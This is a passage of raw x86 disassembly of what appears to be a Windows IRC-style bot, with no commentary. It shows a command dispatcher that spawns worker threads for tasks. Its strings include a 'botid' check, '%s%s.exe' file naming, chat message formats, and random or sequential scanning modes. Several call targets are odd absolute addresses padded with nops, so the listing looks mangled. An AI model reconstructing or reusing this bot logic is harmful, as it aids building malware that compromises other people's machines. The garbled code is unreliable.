loc_411F20:				; CODE XREF: sub_40EE72+30A6j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411F76
		mov	[ebp+arg_24], offset dword_42ACB0

loc_411F39:				; CODE XREF: sub_40EE72+30E6j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F5C
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411F39
		jmp	short loc_411F76
; ---------------------------------------------------------------------------

loc_411F5C:				; CODE XREF: sub_40EE72+30D8j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx

loc_411F76:				; CODE XREF: sub_40EE72+30BEj
					; sub_40EE72+30E8j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411FBD
		cmp	byte ptr [edi],	23h
		jz	short loc_411FBD
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41782A
		push	78h
		push	edi
		call	sub_418F50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_412091
; ---------------------------------------------------------------------------

loc_411FBD:				; CODE XREF: sub_40EE72+3119j
					; sub_40EE72+311Ej
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FDF
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FDF
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FDF
		push	offset unk_436FE0
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411FDF:				; CODE XREF: sub_40EE72+3151j
					; sub_40EE72+3159j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43F60C
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_41208B
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41207F

loc_41205D:				; CODE XREF: sub_40EE72+320Bj
		cmp	eax, ebx
		jz	short loc_41207F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41205D

loc_41207F:				; CODE XREF: sub_40EE72+31E9j
					; sub_40EE72+31EDj
		mov	[ebp+var_304], 1
		jmp	short loc_412091
; ---------------------------------------------------------------------------

loc_41208B:				; CODE XREF: sub_40EE72+31C3j
		mov	[ebp+var_304], ebx

loc_412091:				; CODE XREF: sub_40EE72+3146j
					; sub_40EE72+3217j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120E2

loc_4120CF:				; CODE XREF: sub_40EE72+3293j
		push	esi

loc_4120D0:				; CODE XREF: sub_40EE72+327Dj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41210D
; ---------------------------------------------------------------------------

loc_4120E2:				; CODE XREF: sub_40EE72+325Bj
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4120F1
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120F1
		push	eax
		jmp	short loc_4120D0
; ---------------------------------------------------------------------------

loc_4120F1:				; CODE XREF: sub_40EE72+3275j
					; sub_40EE72+327Aj
		mov	esi, offset aF	; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120CF
		mov	[ebp+var_3B4], bl

loc_41210D:				; CODE XREF: sub_40EE72+326Ej
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41211F
		mov	eax, offset aSequential	; "Sequential"

loc_41211F:				; CODE XREF: sub_40EE72+32A6j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F5C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4121AD

loc_412197:				; CODE XREF: sub_40EE72+3339j
		cmp	[ebp+var_300], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 25D0CB3h
		nop
		jmp	short loc_412197
; ---------------------------------------------------------------------------

loc_4121AD:				; CODE XREF: sub_40EE72+3323j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_436F14
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_4121BE:				; CODE XREF: sub_40EE72+279Aj
					; sub_40EE72+27B1j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4450D8[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436F08
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444EC0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"

loc_4122A9:				; CODE XREF: sub_40EE72+3534j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_4122D6:				; CODE XREF: sub_40EE72+276Cj
					; sub_40EE72+2783j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4450D8[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444EC0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_4122A9
; ---------------------------------------------------------------------------

loc_4123AB:				; CODE XREF: sub_40EE72+273Ej
					; sub_40EE72+2755j
		push	edi
		call	dword_43F6A8
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_418C10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436E9C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset byte_415E37
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41248D

loc_412477:				; CODE XREF: sub_40EE72+3619j
		cmp	[ebp+var_464], ebx
		jnz	loc_4144E5
		push	32h
		call	near ptr 25D0CB3h
		nop
		jmp	short loc_412477
; ---------------------------------------------------------------------------

loc_41248D:				; CODE XREF: sub_40EE72+3603j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset unk_436E50
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_41249E:				; CODE XREF: sub_40EE72+2710j
					; sub_40EE72+2727j
		push	edi
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436E04
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BDE
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41258A

loc_412574:				; CODE XREF: sub_40EE72+3716j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_412574
; ---------------------------------------------------------------------------

loc_41258A:				; CODE XREF: sub_40EE72+3700j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset unk_436DB0
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_41259B:				; CODE XREF: sub_40EE72+26E2j
					; sub_40EE72+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41781F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125F7
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125FD
; ---------------------------------------------------------------------------

loc_4125F7:				; CODE XREF: sub_40EE72+376Fj
		mov	[ebp+var_570], ebx

loc_4125FD:				; CODE XREF: sub_40EE72+3783j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412614
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_41261A
; ---------------------------------------------------------------------------

loc_412614:				; CODE XREF: sub_40EE72+3791j
		mov	[ebp+var_574], ebx

loc_41261A:				; CODE XREF: sub_40EE72+37A0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436D74
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4126CB

loc_4126B5:				; CODE XREF: sub_40EE72+3857j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_4126B5
; ---------------------------------------------------------------------------

loc_4126CB:				; CODE XREF: sub_40EE72+3841j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset unk_436D24
		jmp	loc_4128CE
; ---------------------------------------------------------------------------

loc_4126DC:				; CODE XREF: sub_40EE72+26B4j
					; sub_40EE72+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_436CE8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4127AF

loc_41279D:				; CODE XREF: sub_40EE72+393Bj
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127CA
		push	32h
		call	near ptr 25D0CB3h
		nop
		jmp	short loc_41279D
; ---------------------------------------------------------------------------

loc_4127AF:				; CODE XREF: sub_40EE72+3929j
		nop
		call	near ptr 2610941h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436CA0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4127CA:				; CODE XREF: sub_40EE72+3931j
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	esi
		jmp	loc_414619
; ---------------------------------------------------------------------------

loc_4127DA:				; CODE XREF: sub_40EE72+266Fj
					; sub_40EE72+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_436C60
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4128C2

loc_4128AC:				; CODE XREF: sub_40EE72+3A4Ej
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_4128AC
; ---------------------------------------------------------------------------

loc_4128C2:				; CODE XREF: sub_40EE72+3A38j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset unk_436C18

loc_4128CE:				; CODE XREF: sub_40EE72+2E92j
					; sub_40EE72+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		jmp	loc_411D1F
; ---------------------------------------------------------------------------

loc_4128DF:				; CODE XREF: sub_40EE72+2641j
					; sub_40EE72+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41292D
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_41292D:				; CODE XREF: sub_40EE72+3AA7j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436BD8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB92
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4129B9

loc_4129A3:				; CODE XREF: sub_40EE72+3B45j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A64
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_4129A3
; ---------------------------------------------------------------------------

loc_4129B9:				; CODE XREF: sub_40EE72+3B2Fj
		call	near ptr 2610941h
		nop
		push	eax
		push	offset unk_436B90
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_4129CA:				; CODE XREF: sub_40EE72+2601j
					; sub_40EE72+2618j
		push	[ebp+arg_18]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412AC1
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436B54
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_40144A
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412AB0

loc_412A9A:				; CODE XREF: sub_40EE72+3C3Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_412A9A
; ---------------------------------------------------------------------------

loc_412AB0:				; CODE XREF: sub_40EE72+3C26j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_436B0C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_412AC1:				; CODE XREF: sub_40EE72+3B69j
		push	offset unk_436AC4
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_412ACB:				; CODE XREF: sub_40EE72+25D3j
					; sub_40EE72+25EAj
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 27909C7h
		test	eax, eax
		jz	short loc_412AFB
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436A90
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_41460C
; ---------------------------------------------------------------------------

loc_412AFB:				; CODE XREF: sub_40EE72+3C65j
		push	offset dword_436A74
		call	sub_40AA35
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_413C09
; ---------------------------------------------------------------------------

loc_412B1D:				; CODE XREF: sub_40EE72+25A5j
					; sub_40EE72+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B57
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B57
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_412B57:				; CODE XREF: sub_40EE72+3CC3j
					; sub_40EE72+3CD4j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_436A34
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DCA
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412C0D

loc_412BF7:				; CODE XREF: sub_40EE72+3D99j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_412BF7
; ---------------------------------------------------------------------------

loc_412C0D:				; CODE XREF: sub_40EE72+3D83j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_4369E8
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_412C1E:				; CODE XREF: sub_40EE72+2577j
					; sub_40EE72+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41781F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C5B
		mov	word ptr [ebp+var_470],	5

loc_412C5B:				; CODE XREF: sub_40EE72+3DDEj
		cmp	[ebp+var_C], ebx
		jz	loc_413A64
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A64
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 27206A4h
		test	eax, eax
		jnz	short loc_412CA6
		push	offset unk_4369B4
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_412CA6:				; CODE XREF: sub_40EE72+3E28j
		push	edi
		push	offset dword_43698C
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412CB1:				; CODE XREF: sub_40EE72+2549j
					; sub_40EE72+2560j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E2B
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		call	near ptr 2731199h
		nop
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159F4
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_412D46
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D4C
; ---------------------------------------------------------------------------

loc_412D46:				; CODE XREF: sub_40EE72+3EBEj
		mov	[ebp+var_570], ebx

loc_412D4C:				; CODE XREF: sub_40EE72+3ED2j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412D66
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D6C
; ---------------------------------------------------------------------------

loc_412D66:				; CODE XREF: sub_40EE72+3EE3j
		mov	[ebp+var_574], ebx

loc_412D6C:				; CODE XREF: sub_40EE72+3EF2j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
